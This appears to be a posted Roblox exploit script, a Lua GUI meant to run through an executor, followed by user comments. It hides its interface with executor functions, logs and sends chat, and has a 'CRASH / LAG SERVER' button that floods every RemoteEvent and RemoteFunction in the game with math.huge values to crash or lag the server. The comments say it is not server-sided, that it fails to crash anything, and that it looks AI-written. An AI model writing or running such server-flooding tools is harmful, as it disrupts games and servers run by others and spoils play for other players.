
Keyless

--[[
Universal GUI: Chat Log, Chat Sender, and Server Crasher
Controls:
- Press [Right Control] to toggle UI visibility.
- Click the run button a couple times and it should crash the server/lag it.
]]
local Players = game:GetService("Players")
local CoreGui = game:GetService("CoreGui")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local TextChatService = game:GetService("TextChatService")
local UserInputService = game:GetService("UserInputService")
local TweenService = game:GetService("TweenService")
local LocalPlayer = Players.LocalPlayer
-- 1. UI CREATION
local ScreenGui = Instance.new("ScreenGui")
local MainFrame = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local ChatLogScroll = Instance.new("ScrollingFrame")
local ChatInput = Instance.new("TextBox")
local SendButton = Instance.new("TextButton")
local CrashButton = Instance.new("TextButton")
local CloseButton = Instance.new("TextButton")
local UICorner = Instance.new("UICorner")
-- Protect GUI (If supported by executor, otherwise parent to PlayerGui)
if syn and syn.protect_gui then
syn.protect_gui(ScreenGui)
ScreenGui.Parent = CoreGui
elseif gethui then
ScreenGui.Parent = gethui()
else
ScreenGui.Parent = CoreGui
end
ScreenGui.Name = "UniversalToolsUI"
ScreenGui.ResetOnSpawn = false
-- Main Frame Styling
MainFrame.Name = "MainFrame"
MainFrame.Parent = ScreenGui
MainFrame.BackgroundColor3 = Color3.fromRGB(35, 35, 35)
MainFrame.Position = UDim2.new(0.5, -200, 0.5, -150)
MainFrame.Size = UDim2.new(0, 400, 0, 350)
MainFrame.BorderSizePixel = 0
MainFrame.Active = true
MainFrame.Draggable = true -- Simple drag
local MainCorner = Instance.new("UICorner")
MainCorner.CornerRadius = UDim.new(0, 8)
MainCorner.Parent = MainFrame
-- Title
Title.Name = "Title"
Title.Parent = MainFrame
Title.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
Title.BackgroundTransparency = 1
Title.Size = UDim2.new(1, 0, 0, 30)
Title.Font = Enum.Font.GothamBold
Title.Text = " Server Tools & Chat"
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextSize = 14
Title.TextXAlignment = Enum.TextXAlignment.Left
-- Chat Log Area
ChatLogScroll.Name = "ChatLog"
ChatLogScroll.Parent = MainFrame
ChatLogScroll.Active = true
ChatLogScroll.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
ChatLogScroll.BorderSizePixel = 0
ChatLogScroll.Position = UDim2.new(0.05, 0, 0.12, 0)
ChatLogScroll.Size = UDim2.new(0.9, 0, 0.55, 0)
ChatLogScroll.CanvasSize = UDim2.new(0, 0, 0, 0)
ChatLogScroll.ScrollBarThickness = 6
local UIListLayout = Instance.new("UIListLayout")
UIListLayout.Parent = ChatLogScroll
UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
-- Chat Input Box
ChatInput.Name = "ChatInput"
ChatInput.Parent = MainFrame
ChatInput.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
ChatInput.BorderSizePixel = 0
ChatInput.Position = UDim2.new(0.05, 0, 0.70, 0)
ChatInput.Size = UDim2.new(0.7, 0, 0.1, 0)
ChatInput.Font = Enum.Font.Gotham
ChatInput.PlaceholderText = "Type message here..."
ChatInput.Text = ""
ChatInput.TextColor3 = Color3.fromRGB(255, 255, 255)
ChatInput.TextSize = 14
local InputCorner = Instance.new("UICorner")
InputCorner.Parent = ChatInput
-- Send Button
SendButton.Name = "SendButton"
SendButton.Parent = MainFrame
SendButton.BackgroundColor3 = Color3.fromRGB(0, 120, 215)
SendButton.Position = UDim2.new(0.78, 0, 0.70, 0)
SendButton.Size = UDim2.new(0.17, 0, 0.1, 0)
SendButton.Font = Enum.Font.GothamBold
SendButton.Text = "Send"
SendButton.TextColor3 = Color3.fromRGB(255, 255, 255)
SendButton.TextSize = 14
local SendCorner = Instance.new("UICorner")
SendCorner.Parent = SendButton
-- Crash Button (The Request)
CrashButton.Name = "CrashButton"
CrashButton.Parent = MainFrame
CrashButton.BackgroundColor3 = Color3.fromRGB(200, 50, 50)
CrashButton.Position = UDim2.new(0.05, 0, 0.85, 0)
CrashButton.Size = UDim2.new(0.9, 0, 0.1, 0)
CrashButton.Font = Enum.Font.GothamBold
CrashButton.Text = "CRASH / LAG SERVER"
CrashButton.TextColor3 = Color3.fromRGB(255, 255, 255)
CrashButton.TextSize = 14
local CrashCorner = Instance.new("UICorner")
CrashCorner.Parent = CrashButton
------------------------------------------------------
-- 2. FUNCTIONALITY
------------------------------------------------------
-- Helper: Add Message to Log
local function addLog(playerDetails, message)
local Label = Instance.new("TextLabel")
Label.Parent = ChatLogScroll
Label.BackgroundTransparency = 1
Label.Size = UDim2.new(1, 0, 0, 20)
Label.Font = Enum.Font.Gotham
Label.TextColor3 = Color3.fromRGB(255, 255, 255)
Label.TextSize = 12
Label.TextXAlignment = Enum.TextXAlignment.Left
Label.Text = " [" .. playerDetails .. "]: " .. message
Label.TextWrapped = true
ChatLogScroll.CanvasSize = UDim2.new(0, 0, 0, UIListLayout.AbsoluteContentSize.Y)
ChatLogScroll.CanvasPosition = Vector2.new(0, UIListLayout.AbsoluteContentSize.Y)
end
-- Chat Listener (Captures chat for the log)
local function connectPlayerChat(player)
player.Chatted:Connect(function(msg)
addLog(player.Name, msg)
end)
end
for _, v in pairs(Players:GetPlayers()) do
connectPlayerChat(v)
end
Players.PlayerAdded:Connect(function(v)
connectPlayerChat(v)
end)
-- Chat Sender Function (Universal)
local function sendMessage()
local msg = ChatInput.Text
if msg == "" then return end
-- Method 1: Legacy Chat System
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local DefaultChat = ReplicatedStorage:FindFirstChild("DefaultChatSystemChatEvents")
if DefaultChat and DefaultChat:FindFirstChild("SayMessageRequest") then
DefaultChat.SayMessageRequest:FireServer(msg, "All")
-- Method 2: TextChatService (Newer Roblox Games)
elseif TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
local channel = TextChatService.TextChannels.RBXGeneral
if channel then
channel:SendAsync(msg)
end
else
-- Fallback
game.Players:Chat(msg)
end
ChatInput.Text = "" -- Clear box
end
SendButton.MouseButton1Click:Connect(sendMessage)
ChatInput.FocusLost:Connect(function(enterPressed)
if enterPressed then sendMessage() end
end)
-- Crash/Lag Logic (From your previous script)
CrashButton.MouseButton1Click:Connect(function()
CrashButton.Text = "Spamming Remotes..."
local settings = 0.5 -- Faster delay for button press
for i = 1, 5 do
-- Start
for p, v in pairs(game:GetDescendants()) do
coroutine.wrap(function()
local success, err = pcall(function()
if v:IsA("RemoteFunction") then
v:InvokeServer(math.huge)
elseif v:IsA("RemoteEvent") then
v:FireServer(math.huge)
elseif v:IsA("BindableEvent") and v ~= Players.LocalPlayer.PlayerGui:FindFirstChild("Intro") then
-- Added extra safety check for common Intro scripts
v:Fire(game.Players.LocalPlayer, math.huge)
end
end)
end)()
end
task.wait(settings)
end
CrashButton.Text = "Done (Click to retry)"
wait(1)
CrashButton.Text = "CRASH / LAG SERVER"
end)
-- Toggle UI
UserInputService.InputBegan:Connect(function(input, gpe)
if input.KeyCode == Enum.KeyCode.RightControl then
MainFrame.Visible = not MainFrame.Visible
end
end)
print("UI Loaded. Press Right Control to toggle.")



is it server sided
@burner212 nope
oof this is written by ai, alot of comments say something like "from your previous script"
doesnt crash the server